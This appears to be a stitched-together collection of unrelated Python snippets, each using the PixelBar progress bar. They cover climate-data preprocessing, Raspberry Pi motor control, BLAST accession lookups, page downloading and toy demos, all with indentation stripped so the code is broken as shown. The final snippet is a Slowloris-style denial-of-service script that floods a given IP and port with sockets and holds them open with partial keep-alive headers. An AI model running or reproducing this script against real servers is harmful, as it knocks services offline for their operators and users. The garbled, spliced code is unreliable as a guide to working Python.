def write_records(data, filename):
series = data[0]
target = data[1]
writer = tf.io.TFRecordWriter(
f'{hp.reanalysis_preprocess_out_dir}/{filename}')
bar = PixelBar(r'Generating', max=len(data), suffix='%(percent)d%%')
for s, t in zip(series, target):
example = tf.train.Example(features=tf.train.Features(
feature={
'input_sst': _bytes_feature(s['sst'].tobytes()),
'input_uwind': _bytes_feature(s['uwind'].tobytes()),
'input_vwind': _bytes_feature(s['vwind'].tobytes()),
'input_sshg': _bytes_feature(s['sshg'].tobytes()),
'input_thflx': _bytes_feature(s['thflx'].tobytes()),
'output_sst': _bytes_feature(t['sst'].tobytes()),
'output_uwind': _bytes_feature(t['uwind'].tobytes()),
'output_vwind': _bytes_feature(t['vwind'].tobytes()),
'output_sshg': _bytes_feature(t['sshg'].tobytes()),
'output_thflx': _bytes_feature(t['thflx'].tobytes())
}))
writer.write(example.SerializeToString())
bar.next()
writer.close()
bar.finish()
def start_motion(self,error):
GPIO.output(12, False)
GPIO.output(16, True)
self.set_mode(3)
number_of_steps = int(math.ceil(self.exposure_time*self.step_per_sec))
print("required steps are: ",number_of_steps)
print("precalculated error is set to: ", error, "%")
step = 0
progress_bar= PixelBar('Progress bar', max=number_of_steps)
start = time.time()
while step<number_of_steps:
for seq_step in range(len(self.sequence)):
for pin in range(4):
GPIO.output(self.Pins[pin], self.sequence[seq_step][pin])
time.sleep(self.delay-error/100.*self.delay)
step = step + 1
progress_bar.next()
if(step >= number_of_steps):
break
end = time.time()
progress_bar.finish()
self.duration = round(end-start,8)
print("total steps counted were: ",step)
print("duration measured was: ", self.duration)
print("error (%): ",100.*round((self.exposure_time-self.duration)/self.exposure_time,8))
GPIO.output(12, True)
GPIO.output(16, False)
def Pb8():
from progress.bar import PixelBar
import time
bar = PixelBar('进度条8', max=100) #max的值100，可调节
for i in range(100): #这个也需要适当调节
bar.next()
time.sleep(0.1) #延迟时间，可调节，0.1~1之间最佳
bar.finish()
def download_resources(resources: dict):
bar = PixelBar("\U0001F4E5 Downloading resources", max=len(resources))
for resource_url, resource_path in resources.items():
try:
path = os.path.abspath(resource_path)
content = load(resource_url)
log.debug(f"{resource_url} loaded")
storage.save(content, path)
log.debug(f"'{resource_path}' saved")
except (errors.DownloadingError, errors.SavingError):
pass
finally:
bar.next()
bar.finish()
def progressbar(epilog, current, max):
global bar
if current == 0:
bar = PixelBar()
width, height = os.get_terminal_size()
width -= len(f"{max}/{max}")
width -= len(epilog)
width -= 2 # ears
width -= 3 # number of spaces
bar = PixelBar(epilog, max=max, width=width)
# width -= len(f"{max}/{max}")
bar.next()
if current + 1 == max:
bar.finish()
def getName(accession_numbers):
"""Gets the organism name based on NCBI accession numbers.
Reads will only be classified when the first two BLAST hits
are identical. When the the top 2 hits are different the
reads will be registered as unclassified.
Arguments:
accession_numbers: List of NCBI accession numbers
from the BLAST output.
Raises:
IndexError: Only one result found so no top 3 can be selected.
Returns:
Dictionary with all found organism names and count.
"""
acc_num = []
identified = []
count = 0
for dummyread, numbers in accession_numbers.items():
count += 1
try:
if numbers[0] == numbers[1]:
acc_num.append(numbers[0])
else:
identified.append("unclassified")
except IndexError:
identified.append("unclassified")
Entrez.email = '*****@*****.**'
print()
bar = PixelBar('Getting names:', max=len(acc_num), suffix='%(percent)d%%')
sys.stdout.flush()
for accession in acc_num:
handle = Entrez.efetch(db="nucleotide",
id=accession,
rettype="gb",
retmode="text")
result = handle.read().split('\n')
for line in result:
if 'ORGANISM' in line:
identified.append(' '.join(line.split()[1:3]))
bar.next()
bar.finish()
print()
name_count = Counter(identified), len(identified)
return name_count
def reset_tracker(self):
GPIO.output(12, False)
GPIO.output(18, True)
self.set_mode(2)
start = time.time()
step = 0
number_of_steps = math.ceil(self.exposure_time*self.step_per_sec)
progress_bar= PixelBar('Progress bar', max=number_of_steps)
while step < number_of_steps:
for seq_step in reversed(range(len(self.sequence))):
step = step + 1
for pin in range(4):
GPIO.output(self.Pins[pin], self.sequence[seq_step][pin])
time.sleep(self.delay_reset_position)
progress_bar.next()
if(step >= number_of_steps):
break
progress_bar.finish()
GPIO.output(12, True)
GPIO.output(18, False)
def read_grib(path):
print(f'Parsing parameter {str.split(path, "/")[-1]}')
bar = PixelBar(r'Parsing',
max=len(os.listdir(path)),
suffix='%(percent)d%%')
year_record = {}
for i in os.listdir(path):
month = smonth
year = int(str.split(i, '_')[2])
if calendar.isleap(year):
month = bmonth
records = []
grbs = pg.open(f'{path}/{i}')
for grb in grbs:
records.append(grb.values)
month_record = []
count = 0
for j in range(12):
sum = None
for k in range(count, count + (month[j] * 4)):
if sum is None:
sum = records[k]
else:
sum += records[k]
count += 1
month_record.append(np.array(sum / (month[j] * 4)))
month_record = np.array(month_record)
year_record[year] = month_record
bar.next()
bar.finish()
print(year_record)
reanalysis = []
for i in range(1851, 2015):
reanalysis.append(year_record[i])
reanalysis = np.array(reanalysis)
data = {f'{str.split(path, "/")[-1]}': reanalysis}
np.savez(f'{final}/{str.split(path, "/")[-1]}.npz', **data)
def getAccessionNumbers(blastout):
"""Get the top 3 results from all reads in the BLAST output file.
Arguments:
blastout: BLAST output file.
Return:
Dictionary with read names and the top 3 accession numbers.
"""
with open(blastout, "r") as bfile:
total_lines = len(bfile.read().split('\n'))
with open(blastout, "r") as blastfile:
current_read_id = ""
accession_numbers = dict()
count = 0
print()
bar = PixelBar('Getting accession numbers:',
max=total_lines - 1,
suffix='%(percent)d%%')
for line in blastfile:
line = line.split('\t')
read_id = line[0]
accession = line[1]
if read_id != current_read_id:
count = 0
current_read_id = read_id
if count <= 2 and current_read_id != "":
if read_id in accession_numbers.keys():
accession_numbers[read_id].append(accession)
count += 1
else:
accession_numbers[read_id] = [accession]
count += 1
bar.next()
bar.finish()
print(str(len(accession_numbers.keys())) + " reads found.")
return accession_numbers
def download_content(page_content, page_url, files_dir): # noqa: C901, WPS231
"""Download content and correct it's link in parsed page."""
attr_list = {
'link': 'href',
'img': 'src',
'script': 'src',
}
progress_bar = PixelBar('Processing', max=len(page_content))
for element in page_content:
progress_bar.next()
attr = attr_list[element.name]
try:
content_url = element[attr]
except KeyError:
continue
normalized_content_url = get_normalized_content_url(
page_url,
content_url,
)
if urlparse(normalized_content_url).netloc != urlparse(
page_url).netloc: # noqa: E501
continue
try:
response, normalized_content_url = make_http_request(
normalized_content_url, )
except requests.HTTPError:
logging.info(f'Failed to download {content_url} - HTTP Error')
continue
file_name = get_file_name(normalized_content_url)
write_file(
os.path.join(files_dir, file_name),
response.content,
binary=True,
)
new_link = f'{os.path.split(files_dir)[1]}/{file_name}' # noqa: WPS237
replace_content_link(element, attr, new_link)
progress_bar.finish()
import time
from progress.bar import PixelBar
mylist = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
bar = PixelBar('PROGRESS', max=len(mylist))
for item in mylist:
bar.next()
time.sleep(1)
bar.finish()
if __name__ == '__main__':
if len(argv)<5:
exit(REDC+"Usage: {} ip port count time".format(argv[0]))
socketList = []
logger.info('count: {} timer: {}'.format(count, timer))
bar = Counter(GREENC+'Creating sockets: '+YELLOWC, max=count)
for _ in range(count):
try: soc=init(ip, port)
except error: break
socketList.append(soc)
bar.next()
print()
while True:
sendbar = PixelBar(GREYC+'Sending keep-alive Headers'+REDC, max=timer)
logger.info('Sending keep-alive Headers')
for soc in socketList:
try: soc.send('X-a {}\r\n'.format(randint(1,6000)).encode('utf-8'))
except error: socketList.remove(soc)
for _ in range(count - len(socketList)):
try:
soc=init(ip, port)
if soc: socketList.append(soc);logger.error('Socket Died')
except error: break
for t in range(timer):
sleep(1); sendbar.next()
sendbar.start()